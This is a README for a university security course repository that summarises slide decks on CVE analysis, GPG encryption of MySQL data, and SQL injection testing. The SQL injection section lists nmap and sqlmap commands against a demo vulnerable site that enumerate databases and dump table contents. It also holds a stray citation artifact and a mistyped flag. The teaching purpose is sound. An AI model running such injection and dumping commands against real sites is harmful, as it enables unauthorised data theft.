This repository contains three PowerPoint presentations covering different aspects of application and data security, including static analysis, encryption, and SQL injection testing. Each slide deck is intended for developers, security professionals, and IT students to gain practical knowledge on identifying and mitigating common vulnerabilities.
-
Presentation Files
Software Code & Threat Analysis.pptx
Explores tools, vulnerable libraries, CVEs, and mitigation strategies.Secure Data Storage and Encryption using GnuPG.pptx
Demonstrates how to set up MySQL securely and implement GPG encryption for data protection.SQL Injection Testing using SQLmap.pptx
Provides a walkthrough of using sqlmap to discover and exploit SQL injection flaws in a target web application.
-
README.md
This file, which explains the purpose, structure, and usage instructions for the repository.
- Title Slide
- “Software Code & Threat Analysis Presentation” – Objectives and scope.
- Flawfinder
- Overview of Flawfinder for scanning C/C++ source code against CWE listings.
- ImageMagick v7.1.0-27
- History (October 2021 release) and associated security risks when processing untrusted images.
- Detail/Discover Software Threats
- Guidance on identifying weaknesses in software dependencies and image-processing libraries.
- CVE-2022-28463 Mitigation
- Explanation of the ImageMagick-related vulnerability and recommended patch/workaround steps.
- FFmpeg v4.4.3
- Overview (released August 26 2021), typical use cases, and multimedia processing vulnerabilities.
- Threat Discovery for FFmpeg
- Spotting unsafe library usage, untrusted codecs, and malicious media streams.
- FFmpeg Mitigations
- Best practices: updating to a secure FFmpeg version, sandboxing, and safe configuration.
- OWASP Dependency-Check
- Introduction to OWASP Dependency-Check as a software composition analysis (SCA) tool for various runtimes (Java, .NET, Ruby, Python, Node.js).
- Apache Struts v2.2.3.1
- Historical context (released 2011), common exploit vectors, and notable security incidents.
- Threat Discovery in Struts
- Auditing Struts-based applications, identifying outdated components, and risk assessment.
- Struts Mitigations
- Upgrading to a secure Struts version, applying vendor patches, and using runtime protections (e.g., WAF rules).
- OpenSSL v1.0.1
- Overview (released 2012), significant vulnerabilities (e.g., Heartbleed), and cryptography-related risks.
- Threat Discovery in OpenSSL
- Identifying insecure API usage, weak cipher configurations, and out-of-date libraries.
- OpenSSL Mitigations
- Best practices: updating OpenSSL, enforcing strong cipher suites, and performing regular cryptographic audits.
- Title Slide & Group Credits
- “Secure Data Storage and Encryption using GnuPG”
- Contributors: Bhargava Reddy Kikkura, Bharath Kumar Uppala, Hari Kiran Gaddam, Bharath Viswa Teja, Vidya Charan Maddala, Rajabinandhan Periyagoundanoor Gopal.
- Introduction to Database & MySQL
- Definition of a database.
- Overview of MySQL as an open-source RDBMS (speed, reliability, ease of use).
- Logging into MySQL & Creating a Database
- Steps to log in as
root
. - SQL commands to create a new database.
- Steps to log in as
- Creating Tables in the Database
- SQL statements for defining tables (columns, data types, primary keys).
- Inserting Data
INSERT
commands demonstrating how to populate tables with sample records.
- Creating a User for the Database
- SQL commands to create a dedicated MySQL user and grant appropriate privileges.
- GPG Encryption Keys Overview
- Importance of GPG for private digital communication: public/private key pairs, digital signatures, encrypted email, and secure file sharing.
- Setting up GPG
- Installation and configuration steps.
- Choosing key type and key size, entering user metadata, and creating a strong passphrase.
- Exporting Keys to ASCII Files
- Command to export the public key in ASCII-armored format:
gpg --export --armor > public_key.asc
- Command to list and export the secret (private) key securely.
- Command to export the public key in ASCII-armored format:
- Encryption & Decryption Implementation
- Role of encryption: protecting database backups, files, and preventing unauthorized access.
- Role of decryption: allowing only authorized users (with correct private key/passphrase) to read protected data.
- Example commands:
# Encrypt a file for a recipient gpg --encrypt --recipient <recipient-email> <file-to-encrypt> # Decrypt an encrypted file gpg --decrypt <encrypted-file>
- Use Cases & Best Practices
- Encrypting MySQL backups before archiving or transferring off-site.
- Secure file-sharing workflows:
- Generating a new keypair per user.
- Keeping private keys offline.
- Rotating keys periodically.
- Title Slide & Course Context
- “SQL Injection Testing using SQLmap”
- Database Security (ITMS-528-01), Illinois Institute of Technology, Department of Information Technology and Management.
- Contributors: Bhargava Reddy Kikkura, Bharath Kumar Uppala, Hari Kiran Gaddam, Bharath Viswa Teja, Vidya Charan Maddala, Rajabinandhan Periyagoundanoor Gopal. :contentReference[oaicite:0]{index=0}
- Scouting the Target Website
- Identifying a live, vulnerable endpoint:
http://testphp.vulnweb.com/listproducts.php?cat=1
- Testing URL parameter injection:
http://testphp.vulnweb.com/listproducts.php?cat='
- Identifying a live, vulnerable endpoint:
- Using Nmap on the Target
- Running Nmap to enumerate open ports or services (e.g., HTTP, database ports) before running sqlmap.
- Command example (scan flags may vary):
nmap -sV testphp.vulnweb.com
- Enumerating Databases with sqlmap
- Basic command to fetch database names:
sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" --dbs
- Example result:
acuart information_schema
- Basic command to fetch database names:
- Extracting Table Names
- Using
-D
to specify the database and--tables
to list all tables:sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables
- Example tables in
acuart
:Artists Carts Categ Featured Guestbook Pictures products users
- Using
- Dumping All Table Data
- Using
-a
(all) to fetch all data from every table automatically:sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D acuart --tables -a
- Using
- Filtering Specific Information
- Targeting
information_schema
tables to list system metadata:sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" -D information_schema --tables
- Finding specific columns in a system table, e.g.,
ADMINISTRABLE_ROLE_AUTHORIZATIONS
:sqlmap -u "http://testphp.vulnweb.com/listproducts.php?cat=1" \ -D information_schema -T ADMINISTRABLE_ROLE_AUTHORIZATIONS -columns
- Targeting
- Best Practices & Mitigations
- Demonstrates how to identify injection points, enumerate databases, tables, and columns, and extract sensitive data.
- Emphasizes the importance of parameterized queries, ORM protections, input validation, and proper error handling to prevent SQL injection.
- Clone or Download
git clone https://github.com/<your-username>/<repository-name>.git cd <repository-name>